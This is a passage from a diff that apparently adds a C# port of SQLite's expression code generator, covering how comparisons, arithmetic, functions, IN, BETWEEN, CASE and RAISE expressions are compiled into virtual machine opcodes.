TK_LT ); + testcase( op == TK_LE ); + testcase( op == TK_GT ); + testcase( op == TK_GE ); + testcase( op == TK_EQ ); + testcase( op == TK_NE ); + codeCompareOperands( pParse, pExpr.pLeft, ref r1, ref regFree1, + pExpr.pRight, ref r2, ref regFree2 ); + codeCompare( pParse, pExpr.pLeft, pExpr.pRight, op, + r1, r2, inReg, SQLITE_STOREP2 ); + testcase( regFree1 == 0 ); + testcase( regFree2 == 0 ); + break; + } + case TK_AND: + case TK_OR: + case TK_PLUS: + case TK_STAR: + case TK_MINUS: + case TK_REM: + case TK_BITAND: + case TK_BITOR: + case TK_SLASH: + case TK_LSHIFT: + case TK_RSHIFT: + case TK_CONCAT: + { + Debug.Assert( TK_AND == OP_And ); + Debug.Assert( TK_OR == OP_Or ); + Debug.Assert( TK_PLUS == OP_Add ); + Debug.Assert( TK_MINUS == OP_Subtract ); + Debug.Assert( TK_REM == OP_Remainder ); + Debug.Assert( TK_BITAND == OP_BitAnd ); + Debug.Assert( TK_BITOR == OP_BitOr ); + Debug.Assert( TK_SLASH == OP_Divide ); + Debug.Assert( TK_LSHIFT == OP_ShiftLeft ); + Debug.Assert( TK_RSHIFT == OP_ShiftRight ); + Debug.Assert( TK_CONCAT == OP_Concat ); + testcase( op == TK_AND ); + testcase( op == TK_OR ); + testcase( op == TK_PLUS ); + testcase( op == TK_MINUS ); + testcase( op == TK_REM ); + testcase( op == TK_BITAND ); + testcase( op == TK_BITOR ); + testcase( op == TK_SLASH ); + testcase( op == TK_LSHIFT ); + testcase( op == TK_RSHIFT ); + testcase( op == TK_CONCAT ); + r1 = sqlite3ExprCodeTemp( pParse, pExpr.pLeft, ref regFree1 ); + r2 = sqlite3ExprCodeTemp( pParse, pExpr.pRight, ref regFree2 ); + sqlite3VdbeAddOp3( v, op, r2, r1, target ); + testcase( regFree1 == 0 ); + testcase( regFree2 == 0 ); + break; + } + case TK_UMINUS: + { + Expr pLeft = pExpr.pLeft; + Debug.Assert( pLeft != null ); + if ( pLeft.op == TK_FLOAT ) + { + Debug.Assert( !ExprHasProperty( pExpr, EP_IntValue ) ); + codeReal( v, pLeft.u.zToken, true, target ); + } + else if ( pLeft.op == TK_INTEGER ) + { + codeInteger( v, pLeft, true, target ); + } + else + { + regFree1 = r1 = sqlite3GetTempReg( pParse ); + sqlite3VdbeAddOp2( v, OP_Integer, 0, r1 ); + r2 = sqlite3ExprCodeTemp( pParse, pExpr.pLeft, ref regFree2 ); + sqlite3VdbeAddOp3( v, OP_Subtract, r2, r1, target ); + testcase( regFree2 == 0 ); + } + inReg = target; + break; + } + case TK_BITNOT: + case TK_NOT: + { + Debug.Assert( TK_BITNOT == OP_BitNot ); + Debug.Assert( TK_NOT == OP_Not ); + testcase( op == TK_BITNOT ); + testcase( op == TK_NOT ); + r1 = sqlite3ExprCodeTemp( pParse, pExpr.pLeft, ref regFree1 ); + testcase( regFree1 == 0 ); + inReg = target; + sqlite3VdbeAddOp2( v, op, r1, inReg ); + break; + } + case TK_ISNULL: + case TK_NOTNULL: + { + int addr; + Debug.Assert( TK_ISNULL == OP_IsNull ); + Debug.Assert( TK_NOTNULL == OP_NotNull ); + testcase( op == TK_ISNULL ); + testcase( op == TK_NOTNULL ); + sqlite3VdbeAddOp2( v, OP_Integer, 1, target ); + r1 = sqlite3ExprCodeTemp( pParse, pExpr.pLeft, ref regFree1 ); + testcase( regFree1 == 0 ); + addr = sqlite3VdbeAddOp1( v, op, r1 ); + sqlite3VdbeAddOp2( v, OP_AddImm, target, -1 ); + sqlite3VdbeJumpHere( v, addr ); + break; + } + case TK_AGG_FUNCTION: + { + AggInfo pInfo = pExpr.pAggInfo; + if ( pInfo == null ) + { + Debug.Assert( !ExprHasProperty( pExpr, EP_IntValue ) ); + sqlite3ErrorMsg( pParse, "misuse of aggregate: %s()", pExpr.u.zToken ); + } + else + { + inReg = pInfo.aFunc[pExpr.iAgg].iMem; + } + break; + } + case TK_CONST_FUNC: + case TK_FUNCTION: + { + ExprList pFarg; /* List of function arguments */ + int nFarg; /* Number of function arguments */ + FuncDef pDef; /* The function definition object */ + int nId; /* Length of the function name in bytes */ + string zId; /* The function name */ + int constMask = 0; /* Mask of function arguments that are constant */ + int i; /* Loop counter */ + u8 enc = ENC( db ); /* The text encoding used by this database */ + CollSeq pColl = null; /* A collating sequence */ + + Debug.Assert( !ExprHasProperty( pExpr, EP_xIsSelect ) ); + testcase( op == TK_CONST_FUNC ); + testcase( op == TK_FUNCTION ); + if ( ExprHasAnyProperty( pExpr, EP_TokenOnly ) ) + { + pFarg = null; + } + else + { + pFarg = pExpr.x.pList; + } + nFarg = pFarg != null ? pFarg.nExpr : 0; + Debug.Assert( !ExprHasProperty( pExpr, EP_IntValue ) ); + zId = pExpr.u.zToken; + nId = sqlite3Strlen30( zId ); + pDef = sqlite3FindFunction( pParse.db, zId, nId, nFarg, enc, 0 ); + Debug.Assert( pDef != null ); + if ( pFarg != null ) + { + r1 = sqlite3GetTempRange( pParse, nFarg ); + sqlite3ExprCodeExprList( pParse, pFarg, r1, true ); + } + else + { + r1 = 0; + } +#if !SQLITE_OMIT_VIRTUALTABLE +/* Possibly overload the function if the first argument is +** a virtual table column. +** +** For infix functions (LIKE, GLOB, REGEXP, and MATCH) use the +** second argument, not the first, as the argument to test to +** see if it is a column in a virtual table. This is done because +** the left operand of infix functions (the operand we want to +** control overloading) ends up as the second argument to the +** function. The expression "A glob B" is equivalent to +** "glob(B,A). We want to use the A in "A glob B" to test +** for function overloading. But we use the B term in "glob(B,A)". +*/ +if ( nFarg >= 2 && ( pExpr.flags & EP_InfixFunc ) ) +{ +pDef = sqlite3VtabOverloadFunction( db, pDef, nFarg, pFarg.a[1].pExpr ); +} +else if ( nFarg > 0 ) +{ +pDef = sqlite3VtabOverloadFunction( db, pDef, nFarg, pFarg.a[0].pExpr ); +} +#endif + for ( i = 0 ; i < nFarg ; i++ ) + { + if ( i < 32 && sqlite3ExprIsConstant( pFarg.a[i].pExpr ) != 0 ) + { + constMask |= ( 1 << i ); + } + if ( ( pDef.flags & SQLITE_FUNC_NEEDCOLL ) != 0 && null == pColl ) + { + pColl = sqlite3ExprCollSeq( pParse, pFarg.a[i].pExpr ); + } + } + if ( ( pDef.flags & SQLITE_FUNC_NEEDCOLL ) != 0 ) + { + if ( null == pColl ) pColl = db.pDfltColl; + sqlite3VdbeAddOp4( v, OP_CollSeq, 0, 0, 0, pColl, P4_COLLSEQ ); + } + sqlite3VdbeAddOp4( v, OP_Function, constMask, r1, target, + pDef, P4_FUNCDEF ); + sqlite3VdbeChangeP5( v, (u8)nFarg ); + if ( nFarg != 0 ) + { + sqlite3ReleaseTempRange( pParse, r1, nFarg ); + } + sqlite3ExprCacheAffinityChange( pParse, r1, nFarg ); + break; + } +#if !SQLITE_OMIT_SUBQUERY + case TK_EXISTS: + case TK_SELECT: + { + testcase( op == TK_EXISTS ); + testcase( op == TK_SELECT ); + sqlite3CodeSubselect( pParse, pExpr, 0, false ); + inReg = pExpr.iColumn; + break; + } + case TK_IN: + { + int rNotFound = 0; + int rMayHaveNull = 0; + int j2, j3, j4, j5; + char affinity; + int eType; + + VdbeNoopComment( v, "begin IN expr r%d", target ); + eType = sqlite3FindInIndex( pParse, pExpr, ref rMayHaveNull ); + if ( rMayHaveNull != 0 ) + { + rNotFound = ++pParse.nMem; + } + + /* Figure out the affinity to use to create a key from the results + ** of the expression. affinityStr stores a static string suitable for + ** P4 of OP_MakeRecord. + */ + affinity = comparisonAffinity( pExpr ); + + /* Code the from " IN (...)". The temporary table + ** pExpr.iTable contains the values that make up the (...) set. + */ + sqlite3ExprCachePush( pParse ); + sqlite3ExprCode( pParse, pExpr.pLeft, target ); + j2 = sqlite3VdbeAddOp1( v, OP_IsNull, target ); + if ( eType == IN_INDEX_ROWID ) + { + j3 = sqlite3VdbeAddOp1( v, OP_MustBeInt, target ); + j4 = sqlite3VdbeAddOp3( v, OP_NotExists, pExpr.iTable, 0, target ); + sqlite3VdbeAddOp2( v, OP_Integer, 1, target ); + j5 = sqlite3VdbeAddOp0( v, OP_Goto ); + sqlite3VdbeJumpHere( v, j3 ); + sqlite3VdbeJumpHere( v, j4 ); + sqlite3VdbeAddOp2( v, OP_Integer, 0, target ); + } + else + { + r2 = regFree2 = sqlite3GetTempReg( pParse ); + + /* Create a record and test for set membership. If the set contains + ** the value, then jump to the end of the test code. The target + ** register still contains the true (1) value written to it earlier. + */ + sqlite3VdbeAddOp4( v, OP_MakeRecord, target, 1, r2, affinity, 1 ); + sqlite3VdbeAddOp2( v, OP_Integer, 1, target ); + j5 = sqlite3VdbeAddOp3( v, OP_Found, pExpr.iTable, 0, r2 ); + + /* If the set membership test fails, then the result of the + ** "x IN (...)" expression must be either 0 or NULL. If the set + ** contains no NULL values, then the result is 0. If the set + ** contains one or more NULL values, then the result of the + ** expression is also NULL. + */ + if ( rNotFound == 0 ) + { + /* This branch runs if it is known at compile time (now) that + ** the set contains no NULL values. This happens as the result + ** of a "NOT NULL" constraint in the database schema. No need + ** to test the data structure at runtime in this case. + */ + sqlite3VdbeAddOp2( v, OP_Integer, 0, target ); + } + else + { + /* This block populates the rNotFound register with either NULL + ** or 0 (an integer value). If the data structure contains one + ** or more NULLs, then set rNotFound to NULL. Otherwise, set it + ** to 0. If register rMayHaveNull is already set to some value + ** other than NULL, then the test has already been run and + ** rNotFound is already populated. + */ + byte[] nullRecord = { 0x02, 0x00 }; + j3 = sqlite3VdbeAddOp1( v, OP_NotNull, rMayHaveNull ); + sqlite3VdbeAddOp2( v, OP_Null, 0, rNotFound ); + sqlite3VdbeAddOp4( v, OP_Blob, 2, rMayHaveNull, 0, + nullRecord, P4_STATIC ); + j4 = sqlite3VdbeAddOp3( v, OP_Found, pExpr.iTable, 0, rMayHaveNull ); + sqlite3VdbeAddOp2( v, OP_Integer, 0, rNotFound ); + sqlite3VdbeJumpHere( v, j4 ); + sqlite3VdbeJumpHere( v, j3 ); + + /* Copy the value of register rNotFound (which is either NULL or 0) + ** into the target register. This will be the result of the + ** expression. + */ + sqlite3VdbeAddOp2( v, OP_Copy, rNotFound, target ); + } + } + sqlite3VdbeJumpHere( v, j2 ); + sqlite3VdbeJumpHere( v, j5 ); + sqlite3ExprCachePop( pParse, 1 ); + VdbeComment( v, "end IN expr r%d", target ); + break; + } +#endif + /* +** x BETWEEN y AND z +** +** This is equivalent to +** +** x>=y AND x<=z +** +** X is stored in pExpr.pLeft. +** Y is stored in pExpr.x.pList.a[0].pExpr. +** Z is stored in pExpr.x.pList.a[1].pExpr. +*/ + case TK_BETWEEN: + { + Expr pLeft = pExpr.pLeft; + ExprList_item pLItem = pExpr.x.pList.a[0]; + Expr pRight = pLItem.pExpr; + codeCompareOperands( pParse, pLeft, ref r1, ref regFree1, + pRight, ref r2, ref regFree2 ); + + testcase( regFree1 == 0 ); + testcase( regFree2 == 0 ); + r3 = sqlite3GetTempReg( pParse ); + r4 = sqlite3GetTempReg( pParse ); + codeCompare( pParse, pLeft, pRight, OP_Ge, + r1, r2, r3, SQLITE_STOREP2 ); + pLItem = pExpr.x.pList.a[1];// pLItem++; + pRight = pLItem.pExpr; + sqlite3ReleaseTempReg( pParse, regFree2 ); + r2 = sqlite3ExprCodeTemp( pParse, pRight, ref regFree2 ); + testcase( regFree2 == 0 ); + codeCompare( pParse, pLeft, pRight, OP_Le, r1, r2, r4, SQLITE_STOREP2 ); + sqlite3VdbeAddOp3( v, OP_And, r3, r4, target ); + sqlite3ReleaseTempReg( pParse, r3 ); + sqlite3ReleaseTempReg( pParse, r4 ); + break; + } + case TK_UPLUS: + { + inReg = sqlite3ExprCodeTarget( pParse, pExpr.pLeft, target ); + break; + } + + /* + ** Form A: + ** CASE x WHEN e1 THEN r1 WHEN e2 THEN r2 ... WHEN eN THEN rN ELSE y END + ** + ** Form B: + ** CASE WHEN e1 THEN r1 WHEN e2 THEN r2 ... WHEN eN THEN rN ELSE y END + ** + ** Form A is can be transformed into the equivalent form B as follows: + ** CASE WHEN x=e1 THEN r1 WHEN x=e2 THEN r2 ... + ** WHEN x=eN THEN rN ELSE y END + ** + ** X (if it exists) is in pExpr.pLeft. + ** Y is in pExpr.pRight. The Y is also optional. If there is no + ** ELSE clause and no other term matches, then the result of the + ** exprssion is NULL. + ** Ei is in pExpr.x.pList.a[i*2] and Ri is pExpr.x.pList.a[i*2+1]. + ** + ** The result of the expression is the Ri for the first matching Ei, + ** or if there is no matching Ei, the ELSE term Y, or if there is + ** no ELSE term, NULL. + */ + default: Debug.Assert( op == TK_CASE ); + { + int endLabel; /* GOTO label for end of CASE stmt */ + int nextCase; /* GOTO label for next WHEN clause */ + int nExpr; /* 2x number of WHEN terms */ + int i; /* Loop counter */ + ExprList pEList; /* List of WHEN terms */ + ExprList_item[] aListelem; /* Array of WHEN terms */ + Expr opCompare = new Expr(); /* The X==Ei expression */ + Expr cacheX; /* Cached expression X */ + Expr pX; /* The X expression */ + Expr pTest = null; /* X==Ei (form A) or just Ei (form B) */ +#if !NDEBUG + int iCacheLevel = pParse.iCacheLevel; + //VVA_ONLY( int iCacheLevel = pParse.iCacheLevel; ) +#endif + Debug.Assert( !ExprHasProperty( pExpr, EP_xIsSelect ) && pExpr.x.pList != null ); + Debug.Assert( ( pExpr.x.pList.nExpr % 2 ) == 0 ); + Debug.Assert( pExpr.x.pList.nExpr > 0 ); + pEList = pExpr.x.pList; + aListelem = pEList.a; + nExpr = pEList.nExpr; + endLabel = sqlite3VdbeMakeLabel( v ); + if ( ( pX = pExpr.pLeft ) != null ) + { + cacheX = pX; + testcase( pX.op == TK_COLUMN ); + testcase( pX.op == TK_REGISTER ); + cacheX.iTable = sqlite3ExprCodeTemp( pParse, pX, ref regFree1 ); + testcase( regFree1 == 0 ); + cacheX.op = TK_REGISTER; + opCompare.op = TK_EQ; + opCompare.pLeft = cacheX; + pTest = opCompare; + } + for ( i = 0 ; i < nExpr ; i = i + 2 ) + { + sqlite3ExprCachePush( pParse ); + if ( pX != null ) + { + Debug.Assert( pTest != null ); + opCompare.pRight = aListelem[i].pExpr; + } + else + { + pTest = aListelem[i].pExpr; + } + nextCase = sqlite3VdbeMakeLabel( v ); + testcase( pTest.op == TK_COLUMN ); + sqlite3ExprIfFalse( pParse, pTest, nextCase, SQLITE_JUMPIFNULL ); + testcase( aListelem[i + 1].pExpr.op == TK_COLUMN ); + testcase( aListelem[i + 1].pExpr.op == TK_REGISTER ); + sqlite3ExprCode( pParse, aListelem[i + 1].pExpr, target ); + sqlite3VdbeAddOp2( v, OP_Goto, 0, endLabel ); + sqlite3ExprCachePop( pParse, 1 ); + sqlite3VdbeResolveLabel( v, nextCase ); + } + if ( pExpr.pRight != null ) + { + sqlite3ExprCachePush( pParse ); + sqlite3ExprCode( pParse, pExpr.pRight, target ); + sqlite3ExprCachePop( pParse, 1 ); + } + else + { + sqlite3VdbeAddOp2( v, OP_Null, 0, target ); + } +#if !NDEBUG + Debug.Assert( /* db.mallocFailed != 0 || */ pParse.nErr > 0 + || pParse.iCacheLevel == iCacheLevel ); +#endif + sqlite3VdbeResolveLabel( v, endLabel ); + break; + } +#if !SQLITE_OMIT_TRIGGER + case TK_RAISE: + { + if ( pParse.trigStack == null ) + { + sqlite3ErrorMsg( pParse, + "RAISE() may only be used within a trigger-program" ); + return 0; + } + if ( pExpr.affinity != OE_Ignore ) + { + Debug.Assert( pExpr.affinity == OE_Rollback || + pExpr.affinity == OE_Abort || + pExpr.affinity == OE_Fail ); + Debug.Assert( !ExprHasProperty( pExpr, EP_IntValue ) ); + sqlite3VdbeAddOp4( v, OP_Halt, SQLITE_CONSTRAINT, pExpr.affinity, 0, + Encoding.UTF8.GetBytes( pExpr.u.zToken ), 0 ); + } + else + { + Debug.Assert( pExpr.affinity == OE_Ignore ); + sqlite3VdbeAddOp2( v, OP_ContextPop, 0, 0 ); + sqlite3VdbeAddOp2( v, OP_Goto, 0, pParse.trigStack.ignoreJump ); +#if SQLITE_DEBUG + VdbeComment( v, "raise(IGNORE)" ); +#endif + } + break; + } +#endif + } + sqlite3ReleaseTempReg( pParse, regFree1 ); + sqlite3ReleaseTempReg( pParse, regFree2 ); + return inReg; + } + + /* + ** Generate code to evaluate an expression and store the results + ** into a register. Return the register number where the results + ** are stored. + ** + ** If the register is a temporary register that can be deallocated, + ** then write its number into pReg. If the result register is not + ** a temporary, then set pReg to zero. + */ + static int sqlite3ExprCodeTemp( Parse pParse, Expr pExpr, ref int pReg ) + { + int r1 = sqlite3GetTempReg( pParse ); + int r2 = sqlite3ExprCodeTarget( pParse, pExpr, r1 ); + if ( r2 == r1 ) + { + pReg = r1; + } + else + { + sqlite3ReleaseTempReg( pParse, r1 ); + pReg = 0; + } + return r2; + } + + /* + ** Generate code that will evaluate expression pExpr and store the + ** results in register target. The results are guaranteed to appear + ** in register target. + */ + static int sqlite3ExprCode( Parse pParse, Expr pExpr, int target ) + { + int inReg; + + Debug.Assert( target > 0 && target <= pParse.nMem ); + inReg = sqlite3ExprCodeTarget( pParse, pExpr, target ); + Debug.Assert( pParse.pVdbe != null /* || pParse.db.mallocFailed != 0 */ ); + if ( inReg != target && pParse.pVdbe != null ) + { + sqlite3VdbeAddOp2( pParse.pVdbe, OP_SCopy, inReg, target ); + } + return target; + } + + /* + ** Generate code that evalutes the given expression and puts the result + ** in register target. + ** + ** Also make a copy of the expression results into another "cache" register + ** and modify the expression so that the next time it is evaluated, + ** the result is a copy of the cache register. + ** + ** This routine is used for expressions that are used multiple + ** times. They are evaluated once and the results of the expression + ** are reused. + */ + static int sqlite3ExprCodeAndCache( Parse pParse, Expr pExpr, int target ) + { + Vdbe v = pParse.pVdbe; + int inReg; + inReg = sqlite3ExprCode( pParse, pExpr, target ); + Debug.Assert( target > 0 ); + /* This routine is called for terms to INSERT or UPDATE. And the only + ** other place where expressions can be converted into TK_REGISTER is + ** in WHERE clause processing. So as currently implemented, there is + ** no way for a TK_REGISTER to exist here. But it seems prudent to + ** keep the ALWAYS() in case the conditions above change with future + ** modifications or enhancements. */ + if ( ALWAYS( pExpr.op != TK_REGISTER ) ) + { + int iMem; + iMem = ++pParse.nMem; + sqlite3VdbeAddOp2( v, OP_Copy, inReg, iMem ); + pExpr.iTable = iMem; + pExpr.op = TK_REGISTER; + } + return inReg; + } + + /* + ** Return TRUE if pExpr is an constant expression that is appropriate + ** for factoring out of a loop. Appropriate expressions are: + ** + ** * Any expression that evaluates to two or more opcodes. + ** + ** * Any OP_Integer, OP_Real, OP_String, OP_Blob, OP_Null, + ** or OP_Variable that does not need to be placed in a + ** specific register. + ** + ** There is no point in factoring out single-instruction constant + ** expressions that need to be placed in a particular register. + ** We could factor them out, but then we would end up adding an + ** OP_SCopy instruction to move the value into the correct register + ** later. We might as well just use the original instruction and + ** avoid the OP_SCopy. + */ + static int isAppropriateForFactoring( Expr p ) + { + if ( sqlite3ExprIsConstantNotJoin( p ) == 0 ) + { + return 0; /* Only constant expressions are appropriate for factoring */ + } + if ( ( p.flags & EP_FixedDest ) == 0 ) + { + return 1; /* Any constant without a fixed destination is appropriate */ + } + while ( p.op == TK_UPLUS ) p = p.pLeft; + switch ( p.op ) + { +#if !SQLITE_OMIT_BLOB_LITERAL + case TK_BLOB: +#endif + case TK_VARIABLE: + case TK_INTEGER: + case TK_FLOAT: + case TK_NULL: + case TK_STRING: + { + testcase( p.op == TK_BLOB ); + testcase( p.op == TK_VARIABLE ); + testcase( p.op == TK_INTEGER ); + testcase( p.op == TK_FLOAT ); + testcase( p.op == TK_NULL ); + testcase( p.op == TK_STRING ); + /* Single-instruction constants with a fixed destination are + ** better done in-line. If we factor them, they will just end + ** up generating an OP_SCopy to move the value to the destination + ** register. */ + return 0; + } + case TK_UMINUS: + { + if ( p.pLeft.op == TK_FLOAT || p.pLeft.op == TK_INTEGER ) + { + return 0; + } + break; + } + default: + { + break; + } + } + return 1; + } + + /* + ** If pExpr is a constant expression that is appropriate for + ** factoring out of a loop, then evaluate the expression + ** into a register and convert the expression into a TK_REGISTER + ** expression. + */ + static int evalConstExpr( Walker pWalker, ref Expr pExpr ) + { + Parse pParse = pWalker.pParse; + switch ( pExpr.op ) + { + case TK_REGISTER: + { + return WRC_Prune; + } + case TK_FUNCTION: + case TK_AGG_FUNCTION: + case TK_CONST_FUNC: + { + /* The arguments to a function have a fixed destination. + ** Mark them this way to avoid generated unneeded OP_SCopy + ** instructions. + */ + ExprList pList = pExpr.x.pList; + Debug.Assert( !ExprHasProperty( pExpr, EP_xIsSelect ) ); + if ( pList != null ) + { + int i = pList.nExpr; + ExprList_item pItem;//= pList.a; + for ( ; i > 0 ; i-- ) + {//, pItem++){ + pItem = pList.a[pList.nExpr - i]; + if ( ALWAYS( pItem.pExpr != null ) ) pItem.pExpr.flags |= EP_FixedDest; + } + } + break; + } + } + if ( isAppropriateForFactoring( pExpr ) != 0 ) + { + int r1 = ++pParse.nMem; + int r2; + r2 = sqlite3ExprCodeTarget( pParse, pExpr, r1 ); + if ( NEVER( r1 != r2 ) ) sqlite3ReleaseTempReg( pParse, r1 ); + pExpr.op = TK_REGISTER; + pExpr.iTable = r2; + return WRC_Prune; + } + return WRC_Continue; + } + + /* + ** Preevaluate constant subexpressions within pExpr and store the + ** results in registers. Modify pExpr so that the constant subexpresions + ** are TK_REGISTER opcodes that refer to the precomputed values. + */ + static void sqlite3ExprCodeConstants( Parse pParse, Expr pExpr ) + { + Walker w = new Walker(); + w.xExprCallback = (dxExprCallback)evalConstExpr; + w.xSelectCallback = null; + w.pParse = pParse; + sqlite3WalkExpr( w, ref pExpr ); + } + + /* + ** Generate code that pushes the value of every element of the given + ** expression list into a sequence of registers beginning at target. + ** + ** Return the number of elements evaluated. + */ + static int sqlite3ExprCodeExprList( + Parse pParse, /* Parsing context */ + ExprList pList, /* The expression list to be coded */ + int target, /* Where to write results */ + bool doHardCopy /* Make a hard copy of every element */ + ) + { + ExprList_item pItem; + int i, n; + Debug.Assert( pList != null ); + Debug.Assert( target > 0 ); + n = pList.nExpr; + for ( i = 0 ; i < n ; i++ )// pItem++) + { + pItem = pList.a[i]; + if ( pItem.iAlias != 0 ) + { + int iReg = codeAlias( pParse, pItem.iAlias, pItem.pExpr, target + i ); + Vdbe v = sqlite3GetVdbe( pParse ); + if ( iReg != target + i ) + { + sqlite3VdbeAddOp2( v, OP_SCopy, iReg, target + i ); + } + } + else + { + sqlite3ExprCode( pParse, pItem.pExpr, target + i ); + } + if ( doHardCopy /* && 0 == pParse.db.mallocFailed */ ) + { + sqlite3ExprHardCopy( pParse, target, n ); + } + } + return n; + } + + /* + ** Generate code for a boolean expression such that a jump is made + ** to the label "dest" if the expression is true but execution + ** continues straight thru if the expression is false. + ** + ** If the expression evaluates to NULL (neither true nor false), then + ** take the jump if the jumpIfNull flag is SQLITE_JUMPIFNULL. + ** + ** This code depends on the fact that certain token values (ex: TK_EQ) + ** are the same as opcode values (ex: OP_Eq) that implement the corresponding + ** operation. Special comments in vdbe.c and the mkopcodeh.awk script in + ** the make process cause these values to align. Assert()s in the code + ** below verify that the numbers are aligned correctly. + */ + static void sqlite3ExprIfTrue( Parse pParse, Expr pExpr, int dest, int jumpIfNull ) + { + Vdbe v = pParse.pVdbe; + int op = 0; + int regFree1 = 0; + int regFree2 = 0; + int r1 = 0, r2 = 0; + + Debug.Assert( jumpIfNull == SQLITE_JUMPIFNULL || jumpIfNull == 0 ); + if ( NEVER( v == null ) ) return; /* Existance of VDBE checked by caller */ + if ( NEVER( pExpr == null ) ) return; /* No way this can happen */ + op = pExpr.op; + switch ( op ) + { + case TK_AND: + { + int d2 = sqlite3VdbeMakeLabel( v ); + testcase( jumpIfNull == 0 ); + sqlite3ExprCachePush( pParse ); + sqlite3ExprIfFalse( pParse, pExpr.pLeft, d2, jumpIfNull ^ SQLITE_JUMPIFNULL ); + sqlite3ExprIfTrue( pParse, pExpr.pRight, dest, jumpIfNull ); + sqlite3VdbeResolveLabel( v, d2 ); + sqlite3ExprCachePop( pParse, 1 ); + break; + } + case TK_OR: + { + testcase( jumpIfNull == 0 ); + sqlite3ExprIfTrue( pParse, pExpr.pLeft, dest, jumpIfNull ); + sqlite3ExprIfTrue( pParse, pExpr.pRight, dest, jumpIfNull ); + break; + } + case TK_NOT: + { + testcase( jumpIfNull == 0 ); + sqlite3ExprIfFalse( pParse, pExpr.pLeft, dest, jumpIfNull ); + break; + } + case TK_LT: + case TK_LE: + case TK_GT: + case TK_GE: + case TK_NE: + case TK_EQ: + { + Debug.Assert( TK_LT == OP_Lt ); + Debug.Assert( TK_LE == OP_Le ); + Debug.Assert( TK_GT == OP_Gt ); + Debug.Assert( TK_GE == OP_Ge ); + Debug.Assert( TK_EQ == OP_Eq ); + Debug.Assert( TK_NE == OP_Ne ); + testcase( op == TK_LT ); + testcase( op == TK_LE ); + testcase( op == TK_GT ); + testcase( op == TK_GE ); + testcase( op == TK_EQ ); + testcase( op == TK_NE ); + testcase( jumpIfNull == 0 ); + codeCompareOperands( pParse, pExpr.pLeft, ref r1, ref regFree1, + pExpr.pRight, ref r2, ref regFree2 ); + codeCompare( pParse, pExpr.pLeft, pExpr.pRight, op, + r1, r2, dest, jumpIfNull ); + testcase( regFree1 == 0 ); + testcase( regFree2 == 0 ); + break; + } + case TK_ISNULL: + case TK_NOTNULL: + { + Debug.Assert( TK_ISNULL == OP_IsNull ); + Debug.Assert( TK_NOTNULL == OP_NotNull ); + testcase( op == TK_ISNULL ); + testcase( op == TK_NOTNULL ); + r1 = sqlite3ExprCodeTemp( pParse, pExpr.pLeft, ref regFree1 ); + sqlite3VdbeAddOp2( v, op, r1, dest ); + testcase( regFree1 == 0 ); + break; + } + case TK_BETWEEN: + { + /* x BETWEEN y AND z + ** + ** Is equivalent to + ** + ** x>=y AND x<=z + ** + ** Code it as such, taking care to do the common subexpression + ** elementation of x. + */ + Expr exprAnd = new Expr(); + Expr compLeft = new Expr(); + Expr compRight = new Expr(); + Expr exprX = new Expr(); + + Debug.Assert( !ExprHasProperty( pExpr, EP_xIsSelect ) ); + exprX = pExpr.pLeft.Copy(); + exprAnd.op = TK_AND; + exprAnd.pLeft = compLeft; + exprAnd.pRight = compRight; + compLeft.op = TK_GE; + compLeft.pLeft = exprX; + compLeft.pRight = pExpr.x.pList.a[0].pExpr; + compRight.op = TK_LE; + compRight.pLeft = exprX; + compRight.pRight = pExpr.x.pList.a[1].pExpr; + exprX.iTable = sqlite3ExprCodeTemp( pParse, exprX, ref regFree1 ); + testcase( regFree1 == 0 ); + exprX.op = TK_REGISTER; + testcase( jumpIfNull == 0 ); + sqlite3ExprIfTrue( pParse, exprAnd, dest, jumpIfNull ); + break; + } + default: + { + r1 = sqlite3ExprCodeTemp( pParse, pExpr, ref regFree1 ); + sqlite3VdbeAddOp3( v, OP_If, r1, dest, jumpIfNull != 0 ? 1 : 0 ); + testcase( regFree1 == 0 ); + testcase( jumpIfNull == 0 ); + break; + } + } + sqlite3ReleaseTempReg( pParse, regFree1 ); + sqlite3ReleaseTempReg( pParse, regFree2 ); + } + + /* + ** Generate code for a boolean expression such that a jump is made + ** to the label "dest" if the expression is false but execution + ** continues straight thru if the expression is true. + ** + ** If the expression evaluates to NULL (neither true nor false) then + ** jump if jumpIfNull is SQLITE_JUMPIFNULL or fall through if jumpIfNull + ** is 0. + */ + static void sqlite3ExprIfFalse( Parse pParse, Expr pExpr, int dest, int jumpIfNull ) + { + Vdbe v = pParse.pVdbe; + int op = 0; + int regFree1 = 0; + int regFree2 = 0; + int r1 = 0, r2 = 0; + + Debug.Assert( jumpIfNull == SQLITE_JUMPIFNULL || jumpIfNull == 0 ); + if ( NEVER( v == null ) ) return; /* Existance of VDBE checked by caller */ + if ( pExpr == null ) return; + + /* The value of pExpr.op and op are related as follows: + ** + ** pExpr.op op + ** --------- ---------- + ** TK_ISNULL OP_NotNull + ** TK_NOTNULL OP_IsNull + ** TK_NE OP_Eq + ** TK_EQ OP_Ne + ** TK_GT OP_Le + ** TK_LE OP_Gt + ** TK_GE OP_Lt + ** TK_LT OP_Ge + ** + ** For other values of pExpr.op, op is undefined and unused. + ** The value of TK_ and OP_ constants are arranged such that we + ** can compute the mapping above using the following expression. + ** Assert()s verify that the computation is correct. + */ + op = ( ( pExpr.op + ( TK_ISNULL & 1 ) ) ^ 1 ) - ( TK_ISNULL & 1 ); + + /* Verify correct alignment of TK_ and OP_ constants + */ + Debug.Assert( pExpr.op != TK_ISNULL || op == OP_NotNull ); + Debug.Assert( pExpr.op != TK_NOTNULL || op == OP_IsNull ); + Debug.Assert( pExpr.op != TK_NE || op == OP_Eq ); + Debug.Assert( pExpr.op != TK_EQ || op == OP_Ne ); + Debug.Assert( pExpr.op != TK_LT || op == OP_Ge ); + Debug.Assert( pExpr.op != TK_LE || op == OP_Gt ); + Debug.Assert( pExpr.op != TK_GT || op == OP_Le ); + Debug.Assert( pExpr.op != TK_GE || op == OP_Lt ); + + switch ( pExpr.op ) + { + case TK_AND: + { + testcase( jumpIfNull == 0 ); + sqlite3ExprIfFalse( pParse, pExpr.pLeft, dest, jumpIfNull ); + sqlite3ExprIfFalse( pParse, pExpr.pRight, dest, jumpIfNull ); + break; + } + case TK_OR: + { + int d2 = sqlite3VdbeMakeLabel( v ); + testcase( jumpIfNull == 0 ); + sqlite3ExprCachePush( pParse ); + sqlite3ExprIfTrue( pParse, pExpr.pLeft, d2, jumpIfNull ^ SQLITE_JUMPIFNULL ); + sqlite3ExprIfFalse( pParse, pExpr.pRight, dest, jumpIfNull ); + sqlite3VdbeResolveLabel( v, d2 ); + sqlite3ExprCachePop( pParse, 1 ); + break; + } + case TK_NOT: + { + sqlite3ExprIfTrue( pParse, pExpr.pLeft, dest, 